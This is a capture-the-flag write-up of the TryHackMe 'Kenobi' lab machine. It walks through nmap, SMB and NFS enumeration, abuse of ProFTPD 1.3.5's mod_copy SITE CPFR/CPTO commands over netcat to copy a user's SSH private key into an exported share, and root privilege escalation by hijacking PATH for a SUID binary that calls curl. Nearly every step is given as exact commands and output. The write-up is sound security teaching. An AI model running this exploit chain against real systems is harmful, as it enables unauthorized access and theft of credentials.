THM: Kenobi Writeup • 0xnhl

Recon#

❯ nmap -sV 10.48.136.6 -v                                                                                                                                                                                                         
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:42 -0400
NSE: Loaded 48 scripts for scanning.
Initiating Ping Scan at 12:42
Scanning 10.48.136.6 
...
Nmap scan report for 10.48.136.6
Host is up (0.039s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs         3-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds
           Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.056KB)

plaintext

Investigating SMB using nmap scripts

❯ nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.48.136.6
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:43 -0400
Nmap scan report for 10.48.136.6
Host is up (0.039s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds

plaintext

Doesnt get any useful information but the ports open so let’s try anonymous anyway.

❯ smbclient //10.48.136.6/anonymous

Password for [WORKGROUP\nahil57]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Sat Aug  9 09:03:22 2025
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

                9183416 blocks of size 1024. 3006316 blocks available
smb: \> get log.txt 
getting file \log.txt of size 12237 as log.txt (77.1 KiloBytes/sec) (average 77.1 KiloBytes/sec)
smb: \> exit

plaintext

From log file we see FTP service is running as the Kenobi user on port 21 and an ssh key is generated for that user.

NFS enumeration

❯ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.48.136.6                                                                                                                                                                        
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:36 -0400
Nmap scan report for 10.48.136.6
Host is up (0.038s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| ??????????  ?    ?    ?     ?                    ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2025-08-10T06:48:58  cache
| rwxrwxrwx   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2026-09-07T16:31:00  log
| rwxr-xr-x   0    0    4096  2025-08-09T13:38:21  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /var        9183416.0  5776088.0  2916732.0  67%   16.0T        32000

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

plaintext

Looks like we can access contents inside /var.

Let’s search if there are any vulns for ProFTPD

┌──(nahil57㉿kali)-[~/boxes/kenobi]
└─$ searchsploit ProFTPD 1.3.5 
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                            |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                                                                                                 | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                                                                                                       | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                                                                                                   | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                                                                                                                 | linux/remote/36742.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

plaintext

We can see there is one with ProFtpd’s mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

Initial Access#

We can use Netcat to connect to ftp on port 21 and copy Kenobi’s private key to somewhere in /var

❯  nc 10.48.136.6 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.48.136.6]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

plaintext

Let’s mount the /var/tmp directory to our machine

❯ sudo mkdir /mnt/kenobiNFS                                                                                                                                                                    
❯ sudo mount 10.48.136.6:/var /mnt/kenobiNFS                                                                                                                                                   
❯ cd /mnt/kenobiNFS/
❯ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  snap  spool  tmp  www
❯ cd tmp/
❯ ls
cloud-init                                                                    systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-logind.service-ufrL6h
id_rsa                                                                        systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-resolved.service-h0HRPh
systemd-private-fe262992f8eb4accb6210514434d5d11-apache2.service-nDPNEh       systemd-private-fe262992f8eb4accb6210514434d5d11-systemd-timesyncd.service-Do7k4h
systemd-private-fe262992f8eb4accb6210514434d5d11-ModemManager.service-mN5QVh

plaintext

Let’s login to the machine as the kenobi user using the ssh key obtained.

❯ ssh -i id_rsa kenobi@10.48.136.6                                                                                                                                                                                                        
The authenticity of host '10.48.136.6 (10.48.136.6)' can't be established.
ED25519 key fingerprint is: SHA256:UbCWR/JcIfcz1g9BPG3VOLKxRPexiihC/XBV5S8jqOs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.136.6' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
...
Last login: Sat Aug  9 07:57:51 2025 from 10.23.8.228
kenobi@kenobi:~$ id
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt 
====REDACTED====

plaintext

We get the user flag.

Privilege Escalation#

Searching for files with SUID bit set

kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
...

plaintext

The file /usr/bin/menu looks suspicious.

kenobi@kenobi:~$ menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Mon, 07 Sep 2026 16:57:56 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

plaintext

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
...
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
 Invalid choice
...

plaintext

Strings reveal that menu runs curl but without a full path. So it is susceptible to Path Variable Manipulation.

So now we can create a script that runs /bin/sh, name it curl, give it executable permissions and put it on path.

kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo /bin/sh > curl 
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH

plaintext

Now when the /usr/bin/menu binary is run, its using our path variable to find our “curl” binary, which just runs sh and since this file is being run as root it will run our shell as root!

kenobi@kenobi:/tmp$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
# pwd
/tmp
# cd /root
# ls
root.txt  snap
# cat root.txt
177====REDACTED====f02

plaintext

We get the root flag !!.